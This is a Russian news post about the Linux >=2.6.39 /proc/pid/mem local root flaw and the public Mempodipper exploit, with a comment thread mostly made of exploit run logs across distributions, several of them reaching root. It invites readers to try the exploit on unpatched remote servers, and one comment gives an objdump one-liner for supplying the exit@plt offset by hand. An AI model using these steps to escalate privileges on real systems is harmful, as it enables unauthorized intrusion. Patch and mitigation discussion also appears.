Повышение привилегий в Linux >=2.6.39

    После того, как Линус запатчил ядро 17 января, опубликовано подробное описание уязвимости с повышением привилегий через /proc/pid/mem в suid. Это довольно умный хак, который применим для всех версий ядра >=2.6.39. Можете проверить у себя или на каком-нибудь непропатченном удалённом сервере.

    Автор описания уязвимости первоначально не выкладывал готовый код, но поскольку на основе его поста в блоге такие эксплойты всё-таки появились в открытом доступе, то он тоже выложил свой эксплойт Mempodipper. Вот также шелл-код для 32-битной и 64-битной версий. Здесь видео с демонстрацией хака.

    Появление уязвимости стало возможным благодаря тому, что в ядре 2.6.39 было решено убрать «избыточную» защиту #ifdef.
    Поделиться публикацией

    Комментарии 44

      +23
      one click root для android 4, это хорошо…
        +2
        Фокус не работает. Gentoo Hardened, ядро 3.1.5-hardened (ebuild от 6-го января, патчи к ядру от 7-го января). Вероятно pax/grsecurity эту дыру прикрывают.
        $ gcc -o mempodipper mempodipper.c 
        $ ./mempodipper 
        ===============================
        =          Mempodipper        =
        =           by zx2c4          =
        =         Jan 21, 2012        =
        ===============================
        
        [+] Opening socketpair.
        [+] Waiting for transferred fd in parent.
        [+] Executing child from child fork.
        [+] Opening parent mem /proc/19624/mem in child.
        [+] Sending fd 5 to parent.
        [+] Received fd at 5.
        [+] Assigning fd 5 to stderr.
        [+] Reading su for exit@plt.
        [-] Could not resolve /bin/su. Specify the exit@plt function address manually.
        [-] Usage: ./mempodipper -o ADDRESS
        [-] Example: ./mempodipper -o 0x402178
        $ ls -l /bin/su 
        -rws--x--x 1 root root 34572 Сен 26 23:37 /bin/su
        $ sudo objdump -d /bin/su | grep 'exit@plt' | head -n 1 | cut -d ' ' -f 1 | sed 's/^[0]*\([^0]*\)/0x\1/'
        Пароль: 
        0x1fac
        $ ./mempodipper -o 0x1fac
        ===============================
        =          Mempodipper        =
        =           by zx2c4          =
        =         Jan 21, 2012        =
        ===============================
        
        [+] Opening socketpair.
        [+] Waiting for transferred fd in parent.
        [+] Executing child from child fork.
        [+] Opening parent mem /proc/19761/mem in child.
        [+] Sending fd 5 to parent.
        [+] Received fd at 5.
        [+] Assigning fd 5 to stderr.
        [+] Calculating su padding.
        [+] Seeking to offset 0x1f91.
        [+] Executing su with shellcode.
        $ id
        uid=1000(powerman) gid=100(users) группы=100(users),...
        $ strace -f ./mempodipper -o 0x1fac
        ...
        write(2, "\320\235\320\265\320"..., 89) = -1 EIO (Input/output error)
        exit_group(1)                           = ?
        
          +2
          Причина другая, у генты по умолчанию

          -rws--x--x 1 root root 39320 Окт 24 21:29 /bin/su
          Нет права на чтение у левого пользователя.

          Эксплоит просто не знал точку входа.
          Если скормить ему вывод как параметр вывод
          objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'
          все сработает.
          например
          ./mempodipper -o 0x402178
            0
            Дык я вроде именно это и сделал. В моём комментарии всё это описано.
              0
              Извиняюсь, как-то просмотрел.
              Странно, у меня на sys-kernel/hardened-sources-3.1.5 c включенными PAX & Grsecurity срабатывает…
                +1
                Может дело в том, что они у Вас включены «не достаточно»? :)
                  0
                  В maillist-е gentoo-hardened пишут, что этот эксплоит теоретически может сработать на hardened, если:
                  1. реализовать его в стиле ret2libc
                  2. реализовать в нём брутфорс против PIE (сработает только если в grsec выключена защита от брутфорса)
            0
            В AgiliaLinux 8.0 не работает:

            drakmail@thinkpad-x220:~$ uname -a
            Linux thinkpad-x220 3.1.8 #1 SMP PREEMPT Sun Jan 8 18:53:10 UTC 2012 x86_64 Intel® Core(TM) i5-2410M CPU @ 2.30GHz GenuineIntel GNU/Linux
            drakmail@thinkpad-x220:~$ ./a.out
            ===============================
            = Mempodipper =
            = by zx2c4 =
            = Jan 21, 2012 =
            ===============================

            [+] Waiting for transferred fd in parent.
            [+] Executing child from child fork.
            [+] Opening parent mem /proc/21203/mem in child.
            [+] Sending fd 3 to parent.
            [+] Received fd at 5.
            [+] Assigning fd 5 to stderr.
            [+] Reading su for exit@plt.
            [+] Resolved exit@plt to 0x401e48.
            [+] Calculating su padding.
            [+] Seeking to offset 0x401e2b.
            [+] Executing su with shellcode.
            drakmail@thinkpad-x220:~$ whoami
            drakmail
              0
              Debian 6 и unstable уязвимы
                +1
                Только что проверил на Debian 6 — не работает.

                user2@dev1:~$ uname -a
                Linux dev1 2.6.32-5-amd64 #1 SMP Mon Oct 3 03:59:20 UTC 2011 x86_64 GNU/Linux
                user2@dev1:~$ gcc 1.c -o 1
                user2@dev1:~$ ./1
                ===============================
                = Mempodipper =
                = by zx2c4 =
                = Jan 21, 2012 =
                ===============================

                [+] Opening socketpair.
                [+] Waiting for transferred fd in parent.
                [+] Executing child from child fork.
                [+] Opening parent mem /proc/9008/mem in child.
                [+] Sending fd 5 to parent.
                [+] Received fd at 5.
                [+] Assigning fd 5 to stderr.
                [+] Reading su for exit@plt.
                [+] Resolved exit@plt to 0x401fa8.
                [+] Calculating su padding.
                [+] Seeking to offset 0x401f8d.
                [+] Executing su with shellcode.
                user2@dev1:~$ whoami
                user2
                  +1
                  >=2.6.39
                    +4
                    Darka написал про Debian 6 — я показал что там не работает.
                    Скорее всего, просто он имел ввиду debian wheezy, который выйдет под номером 7.
                      0
                      Прошу прощения, речь действительно шла про 7
                    0
                    странно вижу, что ты как был user2 так им и остался ;-)
                      0
                      упс, прошу прощения, не дочитал.
                    +1
                    Замечательно! Все работает:

                    Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
                      +1
                      Замечательно?
                      +1
                      Аналогично
                      Linux 3.2.0-030200-generic #201201042035 SMP Thu Jan 5 01:36:31 UTC 2012 x86_64 GNU/Linux
                        0
                        Увы:
                        % uname -a
                        Linux test 3.2.1-1-ARCH #1 SMP PREEMPT Fri Jan 13 08:19:09 UTC 2012 i686 Intel® Atom(TM) CPU N455 @ 1.66GHz GenuineIntel GNU/Linux


                        [+] Executing su with shellcode.
                        [1] 13091 segmentation fault ./mempodipper
                        % whoami
                        test

                          0
                          3.0.0-14-generic #23-Ubuntu SMP Mon Nov 21 20:34:47 UTC 2011 i686 athlon i386 GNU/Linux
                          Works
                            –25
                            РЕШЕТО
                              +7
                              НЕРЕШЕТО, уже пропатчили
                                0
                                Ога, видео из 2005-го, ссылающееся на данную проблему, как известную еще КАК МИНИМУМ с 1997-года (но скорее всего известную и ранее). Где принимают ставки на то, что эта проблема (немного модифицированная, естественно) еще всплывет?

                                Картинка для привлечения внимания:
                              –12
                              Ubuntu 11.04 не пашет. Десктоп, серверов для теста нету.

                              Linux zerst 2.6.38-13-generic #54-Ubuntu SMP Tue Jan 3 13:44:52 UTC 2012 i686 athlon i386 GNU/Linux
                                +10
                                И ещё раз >=2.6.39
                                0
                                Можно попробовать в живой системе исправить при помощи systemtap и dbg файлов ядра: www.outflux.net/blog/archives/2012/01/22/fixing-vulnerabilities-with-systemtap/
                                  0
                                  Failed
                                  Linux nb.cnet 2.6.41.4-1.fc15.x86_64 #1 SMP Tue Nov 29 11:53:48 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux

                                  strace:
                                  write(2, "su: ", 4) = -1 EIO (Input/output error)
                                  write(2, "\320\277\320\276\320\273\321\214\320\267\320\276\320\262\320\260\321\202\320\265\320\273\321\214 H1\377\260i\17\5"..., 120) = -1 EIO (Input/output error)
                                  write(2, "\n", 1) = -1 EIO (Input/output error)
                                    –3
                                    CentOS 5 i386

                                    $ cat /etc/issue
                                    CentOS release 5.6 (Final)
                                    Kernel \r on an \m

                                    $ uname -r
                                    2.6.18-238.19.1.el5PAE

                                    $ gcc mempodipper.c -o mempodipper
                                    $ ./mempodipper
                                    ===============================
                                    = Mempodipper =
                                    = by zx2c4 =
                                    = Jan 21, 2012 =
                                    ===============================

                                    [+] Opening socketpair.
                                    [+] Executing child from child fork.
                                    [+] Opening parent mem /proc/24125/mem in child.
                                    [+] Sending fd 6 to parent.
                                    [+] Waiting for transferred fd in parent.
                                    [+] Received fd at 6.
                                    [+] Assigning fd 6 to stderr.
                                    [+] Reading su for exit@plt.
                                    [+] Resolved exit@plt to 0x1190.
                                    [+] Calculating su padding.
                                    [+] Seeking to offset 0x117a.
                                    [+] Executing su with shellcode.
                                    su: пользователь 1ш╟м─1ш╟.м─1иЁ╠╟? м─1юPhn/shh//bi┴Ц1рf╨-iR┴Ю1рRPS┴А1р1ю╟
                                    м─ не существует

                                    $ id
                                    uid=501(test) gid=501(test) группы=501(test)

                                    CentOS 6 i386

                                    $ cat /etc/issue
                                    CentOS Linux release 6.0 (Final)
                                    Kernel \r on an \m

                                    $ uname -r
                                    2.6.32-71.29.1.el6.i686

                                    $ gcc mempodipper.c -o mempodipper
                                    $ ./mempodipper
                                    ===============================
                                    = Mempodipper =
                                    = by zx2c4 =
                                    = Jan 21, 2012 =
                                    ===============================

                                    [+] Opening socketpair.
                                    [+] Waiting for transferred fd in parent.
                                    [+] Executing child from child fork.
                                    [+] Opening parent mem /proc/6093/mem in child.
                                    [+] Sending fd 5 to parent.
                                    [+] Received fd at 5.
                                    [+] Assigning fd 5 to stderr.
                                    [+] Reading su for exit@plt.
                                    [+] Resolved exit@plt to 0x80491b0.
                                    [+] Calculating su padding.
                                    [+] Seeking to offset 0x804918e.
                                    [+] Executing su with shellcode.

                                    $ id
                                    uid=500(111) gid=500(111) группы=500(111) контекст=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

                                    ArchLinux i686

                                    $ cat /etc/issue

                                    Arch Linux \r (\n) (\l)

                                    $ uname -r
                                    3.2.1-1-ARCH

                                    $ gcc mempodipper.c -o mempodipper
                                    $ ./mempodipper
                                    ===============================
                                    = Mempodipper =
                                    = by zx2c4 =
                                    = Jan 21, 2012 =
                                    ===============================

                                    [+] Opening socketpair.
                                    [+] Waiting for transferred fd in parent.
                                    [+] Executing child from child fork.
                                    [+] Opening parent mem /proc/4720/mem in child.
                                    [+] Sending fd 5 to parent.
                                    [+] Received fd at 5.
                                    [+] Assigning fd 5 to stderr.
                                    [+] Reading su for exit@plt.
                                    [+] Resolved exit@plt to 0x8049180.
                                    [+] Calculating su padding.
                                    [+] Seeking to offset 0x804915e.
                                    [+] Executing su with shellcode.
                                    Ошибка сегментирования

                                    $ id
                                    uid=1001(test) gid=1001(test) группы=1001(test),7(lp),91(video),92(audio),93(optical),95(storage),98(power),100(users)

                                    п.с:
                                    Дома попробую на 64 битном арче
                                      –1
                                      п.с.с:
                                      знаю что >=2.6.39, первый пример — как контрольная проба
                                      0
                                      Печально.
                                      [huzferd@arch ~]$ uname -a
                                      Linux arch 3.2.1-1-ARCH #1 SMP PREEMPT Fri Jan 13 06:50:31 CET 2012 x86_64 Pentium® Dual-Core CPU E6500 @ 2.93GHz GenuineIntel GNU/Linux
                                      [huzferd@arch ~]$ gcc run.c -o run
                                      [huzferd@arch ~]$ ./run
                                      ===============================
                                      =          Mempodipper        =
                                      =           by zx2c4          =
                                      =         Jan 21, 2012        =
                                      ===============================
                                      
                                      [+] Opening socketpair.
                                      [+] Waiting for transferred fd in parent.
                                      [+] Executing child from child fork.
                                      [+] Opening parent mem /proc/1215/mem in child.
                                      [+] Sending fd 5 to parent.
                                      [+] Received fd at 5.
                                      [+] Assigning fd 5 to stderr.
                                      [+] Reading su for exit@plt.
                                      [+] Resolved exit@plt to 0x401dd0.
                                      [+] Calculating su padding.
                                      [+] Seeking to offset 0x401dae.
                                      [+] Executing su with shellcode.
                                      [huzferd@arch ~]$ whoami
                                      huzferd
                                      [huzferd@arch ~]$ pacman -S
                                      ошибка: Вы не можете выполнить эту операцию, не являясь суперпользователем (root).
                                      
                                        –2
                                        Linux devil.dom 3.1.0-1-686-pae #1 SMP Tue Jan 10 05:42:54 UTC 2012 i686 GNU/Linux
                                        рут получен.
                                        Linux devil.dom 3.2.0-1-686-pae #1 SMP Thu Jan 19 10:56:51 UTC 2012 i686
                                        рут получен.

                                        вот блин…
                                          0
                                          blacklynx@blacklynx:~/Downloads$ uname -a
                                          Linux blacklynx 3.0.0-15-generic-pae #25-Ubuntu SMP Mon Jan 2 19:40:15 UTC 2012 i686 i686 i386 GNU/Linux
                                          blacklynx@blacklynx:~/Downloads$ ./memodipper
                                          ===============================
                                          = Mempodipper =
                                          = by zx2c4 =
                                          = Jan 21, 2012 =
                                          ===============================

                                          [+] Opening socketpair.
                                          [+] Waiting for transferred fd in parent.
                                          [+] Executing child from child fork.
                                          [+] Opening parent mem /proc/10262/mem in child.
                                          [+] Sending fd 5 to parent.
                                          [+] Received fd at 5.
                                          [+] Assigning fd 5 to stderr.
                                          [+] Reading su for exit@plt.
                                          [+] Resolved exit@plt to 0x8049520.
                                          [+] Calculating su padding.
                                          [+] Seeking to offset 0x8049514.
                                          [+] Executing su with shellcode.
                                          # id
                                          uid=0(root) gid=0(root)
                                            0
                                            Ubuntu 11.10 со всеми обновлениями.
                                            Эксплоит прекрасно работает.
                                            img52.imageshack.us/img52/2474/16167251.png
                                              +3
                                              Примерно через 5 минут после вашего комментария вышел патч, закрывающий уязвимость на 11.10 — тыц.
                                              0
                                              только обновился до
                                              Linux home 3.1.6-gentoo #1 SMP Mon Jan 23 17:23:35 CET 2012 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 6000+ AuthenticAMD GNU/Linux — рут работает
                                                0
                                                Накатил последнее обновление для LinuxMint 12 — все норм стало:)
                                                Linux anri-pc 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 17:23:00 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
                                                  0
                                                  На 3.1.5-hardened эксплойт не работает. На десктопах с gentoo-sources повторил, уже пропатчил и почти пересобрал ядро.
                                                    –1
                                                    Проверил на виртуалке в Debian squeeze, ядра 2.6.39 и 3.1.0-0. на обоих эксплоит сработал

                                                    обновляем
                                                    apt-get update && apt-get upgrade
                                                    обновлено 0, установлено 0 новых пакетов, для удаления отмечено 0 пакетов, и 0 пакетов не обновлено.

                                                    uname -a
                                                    Linux debian 2.6.39-bpo.2-amd64 #1 SMP Tue Jul 26 10:35:23 UTC 2011 x86_64 GNU/Linux

                                                    $ whoami
                                                    alex
                                                    $ ~/expl
                                                    ===============================
                                                    = Mempodipper =
                                                    = by zx2c4 =
                                                    = Jan 21, 2012 =
                                                    ===============================

                                                    [+] Opening socketpair.
                                                    [+] Waiting for transferred fd in parent.
                                                    [+] Executing child from child fork.
                                                    [+] Opening parent mem /proc/2468/mem in child.
                                                    [+] Sending fd 8 to parent.
                                                    [+] Received fd at 8.
                                                    [+] Assigning fd 8 to stderr.
                                                    [+] Reading su for exit@plt.
                                                    [+] Resolved exit@plt to 0x401fa8.
                                                    [+] Calculating su padding.
                                                    [+] Seeking to offset 0x401f8d.
                                                    [+] Executing su with shellcode.
                                                    # whoami
                                                    root
                                                    # id
                                                    uid=0(root) gid=0(root) groups=0(root),1004(alex)

                                                    uname -a
                                                    Linux debian 3.1.0-0.bpo.1-amd64 #1 SMP Mon Jan 23 08:42:50 UTC 2012 x86_64 GNU/Linux

                                                    $ whoami
                                                    alex
                                                    $ ~/expl
                                                    ===============================
                                                    = Mempodipper =
                                                    = by zx2c4 =
                                                    = Jan 21, 2012 =
                                                    ===============================

                                                    [+] Opening socketpair.
                                                    [+] Waiting for transferred fd in parent.
                                                    [+] Executing child from child fork.
                                                    [+] Opening parent mem /proc/2468/mem in child.
                                                    [+] Sending fd 8 to parent.
                                                    [+] Received fd at 8.
                                                    [+] Assigning fd 8 to stderr.
                                                    [+] Reading su for exit@plt.
                                                    [+] Resolved exit@plt to 0x401fa8.
                                                    [+] Calculating su padding.
                                                    [+] Seeking to offset 0x401f8d.
                                                    [+] Executing su with shellcode.
                                                    # whoami
                                                    root
                                                    # id
                                                    uid=0(root) gid=0(root) groups=0(root),1004(alex)
                                                      0
                                                      Узнать подвержены вы или нет можно с помощью: grsecurity.net/~spender/correct_proc_mem_reproducer.c. И без заморочек с su.
                                                        0
                                                        Linux mao-note-arch 3.2.1-1-ARCH

                                                        Ответ: vulnerable

                                                        Но mempodipper не срабатывает ни при авто, ни при ручном задании оффсета.
                                                        –2
                                                        -bash-4.1$ uname -a
                                                        Linux centos 2.6.32-220.2.1.el6.x86_64 #1 SMP Fri Dec 23 02:21:33 CST 2011 x86_64 x86_64 x86_64 GNU/Linux
                                                        -bash-4.1$ ./ex.c
                                                        ===============================
                                                        = Mempodipper =
                                                        = by zx2c4 =
                                                        = Jan 21, 2012 =
                                                        ===============================

                                                        [+] Opening socketpair.
                                                        [+] Waiting for transferred fd in parent.
                                                        [+] Executing child from child fork.
                                                        [+] Opening parent mem /proc/6583/mem in child.
                                                        [+] Sending fd 5 to parent.
                                                        [+] Received fd at 5.
                                                        [+] Assigning fd 5 to stderr.
                                                        [+] Reading su for exit@plt.
                                                        [+] Resolved exit@plt to 0x1e70.
                                                        [+] Calculating su padding.
                                                        [+] Seeking to offset 0x1e62.
                                                        [+] Executing su with shellcode.
                                                        -bash-4.1$

                                                          0
                                                            0
                                                            Интересно, написано же, что проблема в ядрах 2.6.39 и выше. Смысл проверять на более старых ядрах и писать в очередной раз «не работает»?
                                                              0
                                                              В генте пофиксили баг в
                                                              gentoo-sources-3.2.1-r2
                                                              gentoo-sources-3.1.10-r1
                                                              gentoo-sources-3.0.17-r2

                                                              Последние два стабилизированы. Баг экстренной стабилизации первого

                                                              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                              Самое читаемое